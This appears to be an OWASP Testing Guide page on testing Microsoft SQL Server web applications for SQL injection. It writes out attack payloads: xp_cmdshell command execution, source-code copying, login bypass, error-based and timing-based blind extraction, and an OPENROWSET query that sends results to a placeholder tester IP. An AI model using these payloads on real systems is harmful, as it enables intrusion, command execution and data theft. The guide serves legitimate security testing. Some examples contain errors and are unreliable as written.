Testing for SQL Server

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Brief Summary
..here: we describe in "natural language" what we want to test.

Short Description of the Issue
SQL injection vulnerabilities (http://www.owasp.org/index.php/SQL_Injection_AoC) occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers. It allows for the execution of SQL code under the privileges of the user used to connect to the database.

The Microsoft SQL server has a few particularities so that some exploits need to be specially customized for this application. That's the subject of this section.

How to Test
As explained in SQL injection a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:


 * Application parameters in query strings (e.g., GET requests)
 * Application parameters included as part of the body of a POST request
 * Browser-related information (e.g., user-agent, referer)
 * Host-related information (e.g., host name, IP)
 * Session-related information (e.g., user ID, cookies)

For building the exploits, the penetration tester has to know the operators used in SQL Server. There follow some useful operators and commands/stored procedures:


 * comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query, this won't be necessary in every case)
 * query separator: ; (semicolon)
 * Stored procedures:
 * [xp_cmdshell] executes any command shell in the server with the same permissions that it is currently running.
 * [sp_makewebtask] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires sysadmin.
 * [xp_sendmail] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.
 * Implementing exploits with MS SQL functions
 * Most of the examples use the exec function. Bellow we show how to execute a shell command that writes the output of the command dir c:\inetpub in a browseable file using [xp_cmdshell].

exec master.dbo.xp_cmdshell 'dir c:\inetpub > c:\inetpub\wwwroot\test.txt'--

Here,

exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--

which produces an HTML document containing the result of the query --so that it can be browsed by the pen tester! And

'; select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=" +    YOUR_IP_ADDRESS + "," + PORT + ";timeout=1','')--"

returns the result of the query to the IP of the penetration tester. The fields in bold must be completed, where sa is the sysadmin and foobar his password, YOUR_IP_ADDRESS is the pen tester's IP and PORT the port number where he wants to receive this information. See [OPENROWSET]


 * The following uses the function db_name to return the name of the database in an error.

/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20db_name)

Notice, the use of [convert]: CONVERT ( data_type [ ( length ) ], expression [ , style ] )

Explicitly converts an expression of one data type to another. It's used as part of SQL injection attacks to force a conversion error and trigger error messages containing information of interest for the pen tester (i.e. table field values).

Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of a SQL-injection attack or direct access to the SQL listener. A query of this sort will return the version of the SQL Server.
 * Environment variables: @@version 

/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--

or

/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)

Black Box testing and example
There follow several examples that exploit SQL injection vulnerabilities through different entry points.

Example 1: Testing for SQL Injection in a GET request.
The most simple (and sometimes rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string "' or '1'='1" (without double quotes):

https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1

If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application.

Example 2: Testing for SQL Injection in a GET request (2).
In order to learn how many columns there exist

https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--

Example 3: Testing in a POST request
SQL Injection, HTTP POST Content: email=%27&whichSubmit=submit&submit.x=0&submit.y=0

A complete post example:

POST https://vulnerable.web.app/forgotpass.asp HTTP/1.1 Host: vulnerable.web.app User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://vulnerable.web.app/forgotpass.asp Content-Type: application/x-www-form-urlencoded Content-Length: 50 email=%27&whichSubmit=submit&submit.x=0&submit.y=0

The error message obtained when a ' (single quote) character is entered at the email field is:

Microsoft OLE DB Provider for SQL Server error '80040e14' Unclosed quotation mark before the character string '' '. /forgotpass.asp, line 15

Example 4: Yet another (useful) GET example
Obtaining the application's source code

a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--

Example 5: Referer / User-Agent
The REFERER header set to:

Referer: https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--

Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:

User-Agent: user_agent', 'some_ip'); [SQL CODE]--

Obtain information when it is not displayed (Out of band)
Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [|Blind SQL injection]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL-injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested.

Other options for out of band attacks are describe in Sample 4 above.

Trial and error
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL-injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([]) against this channel and watch the response. For example, if the web application is looking for a book using a query

select * from books where title=text entered by the user

then the penetration tester might enter the text: 'Bomba' OR 1=1- and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL-injection vulnerability. The penetration tester might later play with the queries in order to assess the criticality of this vulnerability.

In case more than one error message is displayed
On the other hand, if no prior information is available there is still a possibility of attacking by exploiting any covert channel. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example:


 * On some cases the web application (actually the web server) might return the traditional 500: Internal Server Error, say when the application returns an exception that might be generated for instance by a query with unclosed quotes.
 * While on other cases the server will return a 200OK message, but the web application will return some error message inserted by the developers Internal server error or bad data.

This 1 bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.

Another out-of-band method is to output the results through HTTP browseable

Timing attacks
There is one more possibility for making a blind SQL-injection attack, for example, using the time that it takes the web application to answer a request (see, e.g., Bleichenbacher's attack). An attack of this sort is described by Anley in ([2]) from where we take the next example. A first approach uses the SQL command waitfor delay '0:0:5', for example assume that data is not properly validated through a given attack vector but there is no feedback. Let's say that the attacker wants to check if the books database exists he will send the command

if exists (select * from pubs..pub_info) waitfor delay '0:0:5'

In fact, what we have here is two things: a SQL-injection vulnerability and a covert channel that allows the penetration tester to get 1 bit of information. Hence, using several queries (as much queries as the bits in the required information) the pen tester can get any data that is in the database. Say, the string

declare @s varchar(8000) select @s = db_name if (ascii(substring(@s, n, b)) & ( power(2, 0))) > 0 waitfor delay 0:0:5

will wait for 5 seconds if the nth bit of the name of the current database is b, and will return at once if it is 1-b. After discovering the value of each byte, the pen tester will see if the first bit of the next byte is neither 1 nor 0, this means that the string has ended!

However, it might happen that the command waitfor is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL-injection attacks cannot be done, the pen tester should only come up with any time consuming operation that is not filtered. For example

declare @i int select @i = 0 while @i < 0xaffff begin select @i = @i + 1 end

Checking for version and vulnerabilities
In case the pen tester can make some queries to the database engine, he will be able to get the database engine's version. He can next match this product name and version with known vulnerabilities or a zero-day exploit that he might have access to.